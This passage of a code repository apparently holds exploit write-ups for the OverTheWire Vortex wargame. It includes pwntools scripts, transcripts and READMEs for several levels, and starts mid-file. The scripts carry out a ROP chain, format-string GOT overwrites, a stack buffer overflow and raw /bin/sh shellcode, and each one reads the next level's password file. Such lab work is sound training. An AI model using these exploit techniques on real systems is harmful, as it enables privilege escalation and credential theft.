80 | } 81 | EOF 82 | } 83 | 84 | 85 | # ----------------------------------------------------- 86 | # put dump.c source 87 | # ----------------------------------------------------- 88 | function put_dump_source { 89 | cat > .dump.c < 91 | #include 92 | #include 93 | #include 94 | #include 95 | 96 | #define DEFAULT_SIZE 0x200 97 | 98 | int main (int argc, char* argv[], char *env[]) { 99 | unsigned char *p, *c, *start, *end; 100 | start = (void *) ((unsigned int)argv & 0xfffff000); 101 | end = start + 0x1000; 102 | start = end - DEFAULT_SIZE; 103 | 104 | if (argc >= 2) 105 | sscanf(argv[1], "%p", &start); 106 | if (argc >= 3) 107 | end = start + abs(atoi(argv[2])); 108 | fprintf(stderr, "From %p to %p\n", start, end); 109 | for (p = start; p < end; p += 16) { 110 | printf("%08x ", p); 111 | for (c = p; c < p+16; c++) 112 | printf("%s%02x", (((unsigned int)c & 0x1) ? "" : " "), *c); 113 | printf(" "); 114 | for (c = p; c < p+16; c++) 115 | printf("%c", (isprint(*c) ? *c : '.')); 116 | printf("\n"); 117 | } 118 | return 0; 119 | } 120 | EOF 121 | } 122 | 123 | 124 | # ----------------------------------------------------- 125 | # prints env-variable(s) address in memory 126 | # ----------------------------------------------------- 127 | function getvar { 128 | if [ ! -f ".getvar.c" ]; then 129 | put_getvar_source 130 | rm -f .getvar 131 | fi 132 | if [ ! -f ".getvar" ]; then 133 | gcc -m32 .getvar.c -o .getvar 134 | fi 135 | runprog "./.getvar" "${@:1}" 136 | } 137 | 138 | 139 | # ----------------------------------------------------- 140 | # prints env-variable(s) address in memory 141 | # ----------------------------------------------------- 142 | function dump { 143 | if [ ! -f ".dump.c" ]; then 144 | put_dump_source 145 | rm -f .dump 146 | fi 147 | if [ ! -f ".dump" ]; then 148 | gcc -m32 .dump.c -o .dump 149 | fi 150 | runprog "./.dump" "${@:1}" 151 | } 152 | 153 | 154 | # ----------------------------------------------------- 155 | # gets env-vars, ordered as env-vars in gdb 156 | # resulting array is in envlist (global) 157 | # ----------------------------------------------------- 158 | function getenvs { 159 | if [ ! -f ".envorder.c" ]; then 160 | put_envorder_source 161 | rm -f .envorder 162 | fi 163 | if [ ! -f ".envorder" ]; then 164 | gcc -m32 .envorder.c -o .envorder 165 | fi 166 | IFS="" 167 | "${unsetenv[@]}" gdb "`pwd`/.envorder" >/dev/null 2>&1 < -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level12/vortex.labs.overthewire.org/lib/ld-linux.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/wargames/overthewire-vortex/level12/vortex.labs.overthewire.org/lib/ld-linux.so.2 -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level12/vortex.labs.overthewire.org/lib32/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/wargames/overthewire-vortex/level12/vortex.labs.overthewire.org/lib32/libc.so.6 -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level12/vortex.labs.overthewire.org/lib32/libpthread.so.0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/wargames/overthewire-vortex/level12/vortex.labs.overthewire.org/lib32/libpthread.so.0 -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level12/vortex12: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/wargames/overthewire-vortex/level12/vortex12 -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level12/win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | from pwn import * 4 | context(arch='i386',os='linux') 5 | from pwnlib.constants import PROT_READ, PROT_WRITE, PROT_EXEC, MAP_PRIVATE, MAP_ANON 6 | 7 | level = 12 8 | host = 'vortex.labs.overthewire.org' 9 | user = 'vortex%i' % level 10 | chal = 'vortex%i' % level 11 | password = args['PASSWORD'] 12 | passfile = '/etc/vortex_pass/vortex%i' % (level+1) 13 | binary = '/vortex/%s' % chal 14 | shell = ssh(host=host, user=user, password=password) 15 | 16 | if not os.path.exists(chal): 17 | shell.download_file(binary) 18 | os.chmod(chal, 0755) 19 | 20 | # 21 | # Helper script to make addresses and environment sane 22 | # and consistent. 23 | # 24 | shell.set_working_directory() 25 | shell.upload_file('r.sh') 26 | 27 | # 28 | # Binary and libraries 29 | # 30 | # Load the binary and all of its dependencies from the remote server 31 | # and find their addresses. 32 | # 33 | elf = ELF(chal) 34 | libs = gdb.find_module_addresses(binary, ssh=shell) 35 | libs += [elf] 36 | 37 | for lib in libs: 38 | log.info("%#8x %s" % (lib.address, os.path.basename(lib.path))) 39 | 40 | # 41 | # Build our ROP stack with an extra RET at the beginning, 42 | # in case we have to align up by four bytes because the 43 | # address has a NUL byte in it. 44 | # 45 | rop = ROP(libs) 46 | 47 | rop.call(rop.ret[0]) 48 | rop.mmap(0xBAD0F00D, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0xffffffff, 0) 49 | rop.read(0, 0xBAD0F00D, 0x1000, 0) 50 | rop.call(0xBAD0F00D) 51 | 52 | log.info("ROP Chain\n%s" % '\n'.join(rop.dump())) 53 | 54 | 55 | # 56 | # Encode 57 | # 58 | # Encode the ROP so that it's part of the argv[] array. 59 | # See dump_args.sh for an example. 60 | # 61 | argv = [] 62 | arg = '' 63 | for byte in str(rop): 64 | arg += byte 65 | 66 | if byte == '\x00': 67 | argv.append(arg) 68 | arg = '' 69 | 70 | argv_rop = ' '.join('$%r' % i for i in argv) 71 | 72 | # 73 | # Shellcode 74 | # 75 | # The actual shellcode that we send will swap out the GOT entry 76 | # for sleep() as in challenge #8. 77 | # 78 | sc = asm(shellcraft.i386.pushstr(p32(elf.got['sleep']))) 79 | sc += asm(''' 80 | pop eax 81 | 82 | jmp GET_STAGE2 83 | HAVE_STAGE2: 84 | pop esi 85 | mov [eax], esi 86 | 87 | push SYS_exit 88 | pop eax 89 | int 0x80 90 | 91 | GET_STAGE2: 92 | call HAVE_STAGE2 93 | ''') 94 | sc += asm(shellcraft.sh()) 95 | 96 | if '\xcc' in sc: 97 | log.warning("Shellcode has a breakpoint!") 98 | 99 | # 100 | # Overflow. 101 | # 102 | # If we just run with a cyclic, we crash with the following 103 | # register context: 104 | # 105 | # Our target stack is in the arguments. 106 | # 107 | # EBP: 0x6b616169 (b'iaak') 108 | # EIP: 0x6b61616a (b'jaak') 109 | # 110 | padsize = cyclic_find('iaak') 111 | argv_overflow = cyclic(padsize) 112 | argv_overflow += 'STAK' # placeholder, resolved below 113 | argv_overflow += p32(0x080485c1) # leave ; ret (mov esp, ebp; pop ebp; ret) 114 | 115 | # 116 | # Stack addresses 117 | # 118 | # We need to know the exact location of 'XYZ' on the stack in argv. 119 | # This means that the exact same size-and-quantity of arguments must be 120 | # used, as well as the same command line/argv[0]. 121 | # 122 | def stack_hunter(commandline, where='_start'): 123 | cmd = "bash r.sh gdb --args %s" % (commandline) 124 | with shell.run(cmd) as gdb: 125 | gdb.send(""" 126 | set prompt 127 | set disable-randomization off 128 | set breakpoint pending on 129 | break %s 130 | run 131 | 132 | python 133 | sp = int(gdb.parse_and_eval('(unsigned int) $sp')) 134 | inferior = gdb.selected_inferior() 135 | try: 136 | sp_base = sp 137 | while 1: 138 | inferior.read_memory(sp_base, 1) 139 | sp_base += 1 140 | except: 141 | pass 142 | 143 | n = sp_base - sp 144 | memory = inferior.read_memory(sp,n)[:] 145 | needle = "XYZ\\x00".encode() 146 | offset = memory.find(needle) 147 | end 148 | """ % where) 149 | gdb.clean(2) 150 | gdb.send(""" 151 | python gdb.write("stack =%#x\\n" % sp) 152 | python gdb.write("offset=%#x\\n" % offset) 153 | python gdb.write("XYZ =%#x\\n" % (sp+offset)) 154 | """) 155 | result = gdb.recvrepeat(2) 156 | gdb.send('kill') 157 | gdb.send('y') 158 | gdb.send('quit') 159 | gdb.close() 160 | return result 161 | 162 | 163 | cmd = "%s $%r XYZ %s" % (binary, argv_overflow, argv_rop) 164 | res = stack_hunter(cmd) 165 | exec(res) # creates 'stack' and 'offset' 166 | log.info("%#8x stack @ return" % stack) 167 | log.info("%#8x offset" % offset) 168 | 169 | # 170 | # Fix stack alignment, so that our ROP starts 171 | # on a 16-byte boundary (though 8-byte is enough). 172 | # 173 | offset = offset + 4 # Advance past 'XYZ\x00' 174 | stack = stack + offset # Find out what the stack pointer is for ROP 175 | stackfix = (stack % 0x10) # How much does it need to be realigned by 176 | stack -= stackfix # Align down the stack 177 | argv_rop += '@' * stackfix # Padding 178 | 179 | log.info("%#8x stack (aligned)" % stack) 180 | 181 | # 182 | # Ensure there are no NUL bytes in the stack address itself, 183 | # since it needs to survive the strcpy() when we blow away 184 | # the return address. 185 | # 186 | # Since we have a big RETN sled at the beginning of our 187 | # ROP, we have some wiggle room. 188 | # 189 | if stack % 0x100 == 0: 190 | stack += 4 191 | 192 | # 193 | # Patch the absolute address into our overflow 194 | # 195 | log.info("%x stack" % stack) 196 | argv_overflow = argv_overflow.replace('STAK', p32(stack)) 197 | 198 | 199 | # 200 | # Sploit 201 | # 202 | cmd = "bash ./r.sh %s $%r XYZ %s" % (binary, argv_overflow, argv_rop) 203 | 204 | sh = shell.run(cmd) 205 | sh.sendline(sc) 206 | sh.clean(2) 207 | 208 | sh.sendline('id') 209 | log.success('id: ' + sh.recvline().strip()) 210 | 211 | sh.sendline('cat %s' % passfile) 212 | password = sh.recvline().strip() 213 | log.success('Password: %s' % password) 214 | 215 | print password 216 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level13/README.md: -------------------------------------------------------------------------------- 1 | # Vortex 13 2 | 3 | Format string fun for a multiple GOT overwrite. It also nulls out the args and environment. For whatever reason, libc puts a copy of `basename(argv[0])` on the stack, so we store our pointers there. -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level13/transcript.txt: -------------------------------------------------------------------------------- 1 | [+] Connecting to vortex.labs.overthewire.org on port 22: OK 2 | [*] Working directory: '/tmp/tmp.q18ODGz4Es' 3 | [*] Uploading 'noarg.py' to '/tmp/tmp.q18ODGz4Es/noarg.py' 4 | [+] Opening new channel: ['ln', '-s', '/vortex/vortex13', 'aaaabaaacaaadaaaeaaafaaagaaahaaa']: OK 5 | [+] Recieving all data: OK 6 | [+] Opening new channel: 'python noarg.py ./aaaabaaacaaadaaaeaaafaaagaaahaaa': OK 7 | [+] Opening new channel: 'python noarg.py ./aaaabaaacaaadaaaeaaafaaagaaahaaa': OK 8 | [+] Opening new channel: 'python noarg.py ./aaaabaaacaaadaaaeaaafaaagaaahaaa': OK 9 | [+] Opening new channel: 'python noarg.py ./aaaabaaacaaadaaaeaaafaaagaaahaaa': OK 10 | [+] Opening new channel: 'python noarg.py ./aaaabaaacaaadaaaeaaafaaagaaahaaa': OK 11 | [*] Found binary name on stack in argument 114 at offset 1 12 | [*] 0x804a014 got.exit @ 115 13 | [*] 0x804a016 got.exit_hi @ 116 14 | [*] 0x804a004 got.free @ 117 15 | [*] 0x804a018 got.strchr @ 118 16 | [*] Symlink data 17 | 00000000 61 14 a0 04 08 16 a0 04 08 04 a0 04 08 18 a0 04 |a...............| 18 | 00000010 08 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 |.aaafaaagaaahaaa| 19 | 00000020 20 | [+] Opening new channel: ['ln', '-s', '/vortex/vortex13', 'a\x14\xa0\x04\x08\x16\xa0\x04\x08\x04\xa0\x04\x08\x18\xa0\x04\x08aaafaaagaaahaaa']: OK 21 | [+] Recieving all data: OK 22 | [*] Verifying 'strchr'... 23 | [+] Opening new channel: "python noarg.py $'a\\x14\\xa0\\x04\\x08\\x16\\xa0\\x04\\x08\\x04\\xa0\\x04\\x08\\x18\\xa0\\x04\\x08aaafaaagaaahaaa'": OK 24 | [*] Verifying 'exit_hi'... 25 | [+] Opening new channel: "python noarg.py $'a\\x14\\xa0\\x04\\x08\\x16\\xa0\\x04\\x08\\x04\\xa0\\x04\\x08\\x18\\xa0\\x04\\x08aaafaaagaaahaaa'": OK 26 | [*] Verifying 'exit'... 27 | [+] Opening new channel: "python noarg.py $'a\\x14\\xa0\\x04\\x08\\x16\\xa0\\x04\\x08\\x04\\xa0\\x04\\x08\\x18\\xa0\\x04\\x08aaafaaagaaahaaa'": OK 28 | [*] Verifying 'free'... 29 | [+] Opening new channel: "python noarg.py $'a\\x14\\xa0\\x04\\x08\\x16\\xa0\\x04\\x08\\x04\\xa0\\x04\\x08\\x18\\xa0\\x04\\x08aaafaaagaaahaaa'": OK 30 | [*] Format for got.free=>vuln: '%34116d%116$hn' 31 | [+] Opening new channel: "python noarg.py ./$'a\\x14\\xa0\\x04\\x08\\x16\\xa0\\x04\\x08\\x04\\xa0\\x04\\x08\\x18\\xa0\\x04\\x08aaafaaagaaahaaa'": OK 32 | [+] Found '/vortex/vortex13' in ssh cache 33 | [+] Found '/lib/ld-linux.so.2' in ssh cache 34 | [+] Found '/lib32/libc.so.6' in ssh cache 35 | [+] Opening new channel: 'gdb --args /vortex/vortex13': OK 36 | [*] Closed SSH channel with vortex.labs.overthewire.org 37 | [*] 0x8048460 plt.exit 38 | [*] 0xf7e6a250 system 39 | [*] Format for got.exit=>system 1/2: '%41552d%126$hn' 40 | [*] Format for got.exit=>system 2/2: '%63462d%139$hn' 41 | [*] 0xf7ec0f20 strchr 42 | [*] 0xf7ec0f79 ret 43 | [*] Format for strchr=>retn: '%3961d%153$hn' 44 | [*] Format for got.free=>plt.exit: 'sh;%33885d%164$hn' 45 | [+] id: uid=5013(vortex13) gid=5013(vortex13) euid=5014(vortex14) groups=5014(vortex14),5013(vortex13) 46 | [+] password: -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level13/vortex.labs.overthewire.org/lib/ld-linux.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/wargames/overthewire-vortex/level13/vortex.labs.overthewire.org/lib/ld-linux.so.2 -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level13/vortex.labs.overthewire.org/lib32/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/wargames/overthewire-vortex/level13/vortex.labs.overthewire.org/lib32/libc.so.6 -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level13/vortex13: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/wargames/overthewire-vortex/level13/vortex13 -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level13/win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | from pwn import * 4 | context(arch='i386',os='linux') 5 | 6 | level = 13 7 | host = 'vortex.labs.overthewire.org' 8 | user = 'vortex%i' % level 9 | chal = 'vortex%i' % level 10 | password = args['PASSWORD'] 11 | passfile = '/etc/vortex_pass/vortex%i' % (level+1) 12 | binary = '/vortex/%s' % chal 13 | shell = ssh(host=host, user=user, password=password) 14 | 15 | if not os.path.exists(chal): 16 | shell.download_file(binary) 17 | os.chmod(chal, 0755) 18 | 19 | # !!! 20 | # Caveat: I watched geohot's stream for this one. 21 | # 22 | # That said, I'm solving it differently, none of this "magic offset" BS. 23 | # !!! 24 | 25 | # 26 | # Step 0: 27 | # 28 | # Be able to execute the program with argc==0 29 | # 30 | # Inconveniently, this also "appears" to break debugging 31 | # on the remote machine. Lots of warnings and errors. 32 | # However, it still works fine if you hit "continue". 33 | # 34 | with file('noarg.py','w+') as noarg: 35 | noarg.write(""" 36 | import os, sys 37 | os.execve(sys.argv[1],[],{}) 38 | """) 39 | 40 | shell.set_working_directory() 41 | shell.upload_file('noarg.py') 42 | 43 | # 44 | # Step 1: 45 | # 46 | # Be able to enter input multiple times. 47 | # 48 | # In order to do this, overwrite the GOT pointer for 'free' 49 | # with the address of 'vuln'. 50 | # 51 | # Since 'free' is the only GOT entry that's invoked after 52 | # printf, I don't think this is 'cheating' to use the same 53 | # approach as Hotz. I think it's the only approach. 54 | # 55 | 56 | 57 | # 58 | # Step 1A: 59 | # 60 | # Find the name of the program on the stack. 61 | # 62 | # To do this, we will create a symlink to the target binary 63 | # with a large cyclic name, and search for the pattern on 64 | # the stack. 65 | # 66 | symlink = cyclic(0x20) 67 | offset = -1 68 | shell.ln(['-s',binary, symlink]) 69 | 70 | 71 | 72 | # Params of (110,120) chosen after letting it run (0,500) once. 73 | # This is just quicker since I'm running it multiple times to dev. 74 | for index in range(110,120): 75 | with shell.run('python noarg.py ./%s' % symlink) as ch: 76 | ch.sendline('%{}$X'.format(index)) 77 | response = ch.recvline().strip() 78 | try: 79 | data = unhex(response) 80 | assert len(data) == 4 81 | except Exception: 82 | continue 83 | 84 | offset = cyclic_find(data[::-1]) 85 | if 0 <= offset and offset < 0x100: 86 | break 87 | 88 | log.info("Found binary name on stack in argument %i at offset %i" % (index, offset)) 89 | 90 | # 91 | # Step 1B 92 | # 93 | # Put the addresses that we want to patch in the name 94 | # of the symlink, and reference them as arguments from 95 | # print. 96 | # 97 | elf = ELF(chal) 98 | 99 | indexes = {} 100 | addresses = '' 101 | 102 | # Put a fake entry in the ELF's got table to make this next loop nicer 103 | elf.got['exit_hi'] = elf.got['exit']+2 104 | 105 | for name in ('exit','exit_hi','free','strchr'): 106 | addr = elf.got[name] 107 | indexes[name] = index 108 | addresses += p32(addr) 109 | index += 1 110 | 111 | log.info("%#x got.%s @ %i" % (addr, name, index)) 112 | 113 | symlink = symlink[:offset] + addresses + symlink[offset + len(addresses):] 114 | 115 | log.info("Symlink data\n%s" % hexdump(symlink)) 116 | shell.ln(['-s', binary, symlink]) 117 | 118 | # 119 | # Ensure that we get the correct values when we read it back 120 | # 121 | for name in indexes.keys(): 122 | log.info("Verifying %r..." % name) 123 | with shell.run('python noarg.py $%r' % symlink) as ch: 124 | ch.sendline('%{}$X'.format(indexes[name])) 125 | resp = ch.recvline().strip() 126 | assert eval('0x' + resp) == elf.got[name] 127 | 128 | # 129 | # Step 1C 130 | # 131 | # By default, the addresses in the .got point to their corresponding 132 | # entires in the .plt. The .plt entries are in the vortex13 binary, 133 | # so the first two bytes of the address should be the same as any 134 | # other address in the binary. 135 | # 136 | # This works because the printf format code "%hn" only writes the 137 | # low two bytes (word), and doesn't zero out the upper two bytes. 138 | # 139 | vuln = elf.symbols['vuln'] 140 | free = elf.plt['free'] 141 | assert (free & 0xffff0000) == (vuln & 0xffff0000) 142 | 143 | fmt = '%{}d%{}$hn'.format(vuln & 0xffff, indexes['free']) 144 | log.info("Format for got.free=>vuln: %r" % fmt) 145 | 146 | ch = shell.run('python noarg.py ./$%r' % symlink) 147 | ch.sendline(fmt) 148 | 149 | 150 | # 151 | # Step 2 152 | # 153 | # In a few writes... 154 | # 155 | # - Overwrite 'got.exit' with 'system' in two writes 156 | # - Make 'strchr' always return 1 by pointing it at a 'retn' gadget in libc 157 | # - One final write, re-overwrite the address of 'got.free' with 'plt.exit' 158 | # which will invoke 'got.exit', which is now 'system' due to the nuked pointer. 159 | # 160 | 161 | # 162 | # N.B. After the first format string, the entire stack shifts 163 | # because we are recursing into vuln(). Because of this, 164 | # or indexes must shift. 165 | # 166 | shift = 12 167 | 168 | 169 | # 170 | # Step 2A 171 | # 172 | # got.exit ==> system 173 | # 174 | # If exit() is invoked, it'll call system. 175 | # 176 | libs = gdb.find_module_addresses(binary, ssh=shell) 177 | libc = next(l for l in libs if 'libc' in l.path) 178 | 179 | system = libc.symbols['system'] 180 | plt_exit = elf.plt['exit'] 181 | log.info("%#x plt.exit" % plt_exit) 182 | log.info("%#x system" % system) 183 | 184 | fmt = '%{}d%{}$hn'.format(system & 0xffff, indexes['exit'] + shift) 185 | log.info("Format for got.exit=>system 1/2: %r" % fmt) 186 | ch.sendline(fmt) 187 | 188 | fmt = '%{}d%{}$hn'.format((system>>16) & 0xffff, indexes['exit_hi'] + (2*shift)) 189 | log.info("Format for got.exit=>system 2/2: %r" % fmt) 190 | ch.sendline(fmt) 191 | 192 | # 193 | # Step 2B 194 | # 195 | # Make strchr() always return success. This is easy since 'eax' is set 196 | # to a nonzero value just before the call. We only need *any* retn. 197 | # 198 | # This is necessary because we need a semicolon in our system() line, 199 | # which is not in the allowed characters. 200 | # 201 | # Unfortunately, we can't use elf.symbols[...] for strchr, because the 202 | # one inserted into the GOT is not the same as the exported routine. 203 | # I assume this is because the one returned is more optimized, and 204 | # returned during the GOT linking stage. IDA doesn't show any x-refs 205 | # to the routine, or any symbol information for it. 206 | # 207 | 208 | with shell.run('gdb %r' % binary) as gdb: 209 | gdb.send(''' 210 | set prompt 211 | break *main 212 | run 213 | set {void*}($sp+4)=getenv("PATH") 214 | set {void*}($sp+8)=0 215 | set $pc=%#x 216 | finish 217 | ''' % elf.plt['strchr']) 218 | gdb.clean(2) 219 | gdb.sendline('printf "%%#x\\n",*%#x' % elf.got['strchr']) 220 | strchr = eval(gdb.recvline()) 221 | 222 | # Find any 'ret' gadget that has the same hiword as strchr 223 | # The easiest way to do this is to just search for a ret. 224 | retn = strchr 225 | while libc.read(retn, 1) != '\xc3': 226 | retn += 1 227 | 228 | log.info("%#x strchr" % strchr) 229 | log.info("%#x strchr (as exported)" % libc.symbols['strchr']) 230 | log.info("%#x ret" % retn) 231 | assert strchr & 0xffff0000 == retn & 0xffff0000 232 | 233 | 234 | fmt = '%{}d%{}$hn'.format(retn & 0xffff, indexes['strchr'] + (3*shift)) 235 | log.info("Format for strchr=>retn: %r" % fmt) 236 | ch.sendline(fmt) 237 | 238 | 239 | # 240 | # Step 2C 241 | # 242 | # got.free ==> plt.exit ==> got.exit ==> system 243 | # 244 | fmt = 'sh;' + '%{}d%{}$hn'.format((plt_exit & 0xffff) - len('sh;'), indexes['free'] + (4*shift)) 245 | log.info("Format for got.free=>plt.exit: %r" % fmt) 246 | ch.sendline(fmt) 247 | 248 | 249 | # 250 | # Win 251 | # 252 | ch.clean(2) 253 | ch.sendline('id') 254 | log.success('id: ' + ch.recvline().strip()) 255 | 256 | ch.sendline('cat %s' % passfile) 257 | password = ch.recvline().strip() 258 | log.success('Password: %s' % password) 259 | 260 | print password 261 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level2/README.md: -------------------------------------------------------------------------------- 1 | # Vortex 2 2 | 3 | Simple permissions issue with annoying filenames. 4 | 5 | Setuid binary will tar up any file you give it into `'/tmp/ownership.$$.tar'`. -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level2/transcript.txt: -------------------------------------------------------------------------------- 1 | [+] Connecting to vortex.labs.overthewire.org on port 22: OK 2 | [+] Opening new channel: '/vortex/vortex2 /etc/vortex_pass/vortex3': OK 3 | [+] Opening new channel: "tar xOf '/tmp/ownership.$$.tar'": OK 4 | [+] Recieving all data: OK 5 | [+] password: -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level2/win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | level = 2 6 | host = 'vortex.labs.overthewire.org' 7 | user = 'vortex%i' % level 8 | chal = 'vortex%i' % level 9 | password = args['PASSWORD'] 10 | passfile = '/etc/vortex_pass/vortex%i' % (level+1) 11 | binary = '/vortex/%s' % chal 12 | shell = ssh(host=host, user=user, password=password) 13 | 14 | 15 | # For testing locally 16 | # shell.download(binary) 17 | 18 | # Add the password to the tarball 19 | shell.run('%s %s' % (binary, passfile)) 20 | 21 | # Extract it 22 | password = shell.tar('xOf',"'/tmp/ownership.$$.tar'").strip() 23 | log.success('Password: %s' % password) 24 | print password 25 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level3/README.md: -------------------------------------------------------------------------------- 1 | # Vortex 3 2 | 3 | Simple buffer overflow that will write a pointer to our buffer anywhere in the binary. 4 | 5 | We use this to overwrite the GOT entry for `_exit`. 6 | 7 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level3/source.c: -------------------------------------------------------------------------------- 1 | /* 2 | * 0xbadc0ded.org Challenge #02 (2003-07-08) 3 | * 4 | * Joel Eriksson 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | unsigned long val = 31337; 12 | unsigned long *lp = &val; 13 | 14 | int 15 | main 16 | ( 17 | int argc, 18 | char **argv 19 | ) 20 | { 21 | unsigned long **lpp = &lp, *tmp; 22 | char buf[128]; 23 | 24 | if (argc != 2) 25 | { 26 | exit(1); 27 | } 28 | 29 | strcpy(buf, argv[1]); 30 | 31 | if (((unsigned long) lpp & 0xffff0000) != 0x08040000) 32 | { 33 | exit(2); 34 | } 35 | 36 | tmp = *lpp; 37 | **lpp = (unsigned long) &buf; 38 | // *lpp = tmp; // Fix suggested by Michael Weissbacher @mweissbacher 2013-06-30 39 | 40 | exit(0); 41 | } 42 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level3/transcript.txt: -------------------------------------------------------------------------------- 1 | [+] Connecting to vortex.labs.overthewire.org on port 22: OK 2 | [+] Found '/vortex/vortex3' in ssh cache 3 | [*] Stack is executable! 4 | [*] p_exit == 8048322 5 | 8048320: ff 25 38 97 04 08 jmp DWORD PTR ds:0x8049738 6 | [+] Opening new channel: '/vortex/vortex3 $\'1\\xc9\\xf7\\xe9j\\x01\\xfe\\x0c$h//shh/bin\\xb0\\x0b\\x89\\xe3\\xcd\\x80aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaa 7 | akaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaa"\\x83\\x04\\x08\'': OK 8 | [+] id: uid=5003(vortex3) gid=5003(vortex3) euid=5004(vortex4) groups=5004(vortex4),5003(vortex3) 9 | [+] password: -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level3/vortex3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/wargames/overthewire-vortex/level3/vortex3 -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level3/win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | from pwn import * 4 | context(arch='i386',os='linux') 5 | 6 | level = 3 7 | host = 'vortex.labs.overthewire.org' 8 | user = 'vortex%i' % level 9 | chal = 'vortex%i' % level 10 | password = args['PASSWORD'] 11 | passfile = '/etc/vortex_pass/vortex%i' % (level+1) 12 | binary = '/vortex/%s' % chal 13 | shell = ssh(host=host, user=user, password=password) 14 | 15 | if not os.path.exists(binary): 16 | shell.download_file(binary) 17 | os.chmod('vortex3', 0755) 18 | 19 | # 20 | # Load the binary, find got:_exit, then find a pointer to it. 21 | # The PLT 'jmp' instruction contains a pointer. 22 | # 23 | # .plt:08048320 ; void exit(int status) 24 | # .plt:08048320 _exit proc near 25 | # .plt:08048320 jmp ds:off_8049738 26 | # .plt:08048320 _exit endp# 27 | # 28 | elf = ELF('vortex3') 29 | p_exit = elf.plt['exit']+2 30 | log.info('p_exit == %x' % p_exit) 31 | 32 | # 33 | # Double check that we're correct 34 | # 35 | # print elf.disasm(elf.plt['exit'], 6) 36 | assert unpack(elf.read(p_exit,4)) == elf.got['exit'] 37 | 38 | # Build our args 39 | # 40 | # Stack layout: 41 | # -00000088 buffer_128 db 128 dup(?) 42 | # -00000008 deref_lpp dd ? 43 | # -00000004 lpp dd ? 44 | spam = '' # '\xcc' 45 | spam += asm(shellcraft.sh()) 46 | spam += cyclic(128 + 4 - len(spam)) 47 | spam += p32(p_exit) 48 | 49 | r = shell.run('%s $%r' % (binary, spam)) 50 | r.clean() 51 | 52 | 53 | r.sendline('id') 54 | log.success('id: %s' % r.recv().strip()) 55 | r.sendline('cat /etc/vortex_pass/vortex4') 56 | password = r.recv().strip() 57 | log.success('Password: %s' % password) 58 | 59 | print password 60 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level4/README.md: -------------------------------------------------------------------------------- 1 | # Vortex 4 2 | 3 | `printf` format string vulnerability, combined with a bit of information about stack layout. `argc` can be zero if expressly created that way via an `exec` call. If `argv` is used to index the non-existed arguments, it can (in this case, does) index into the `envp` array. 4 | 5 | For the sake of "because", this also auto-discovers the offset of the arguments needed to pass to hellman's `libformatstr`. 6 | 7 | We use the format string to overwrite the GOT entry for `_exit`, and point it at our shellcode on the stack. The absolute address of the stack is leaked by a small helper program run on the target system. -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level4/exec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | import sys 3 | from os import execve, getpid, symlink, path 4 | from collections import OrderedDict 5 | from argparse import ArgumentParser 6 | from tempfile import mktemp 7 | 8 | p = ArgumentParser() 9 | p.add_argument('payload') 10 | p.add_argument('padding', type=int) 11 | p.add_argument('binary') 12 | p.add_argument('--wait', action='store_true', default=False) 13 | a = p.parse_args() 14 | 15 | env = OrderedDict() 16 | env['a']='a' 17 | env['b']='b' 18 | env['c']='XXXX' + a.payload 19 | env['d']='d' * a.padding 20 | env['sc']="\x90" + "1\xc9\xf7\xe9Ph\x2f\x2fshh\x2fbin\xb0\x0b\x89\xe3\xcd\x80" 21 | 22 | if a.wait: 23 | raw_input("Attach to %s" % getpid()) 24 | 25 | # Normalize the length of the program name by making a symlink 26 | temp = mktemp() 27 | symlink(path.abspath(a.binary), temp) 28 | 29 | execve(temp,[],env) -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level4/leak.c: 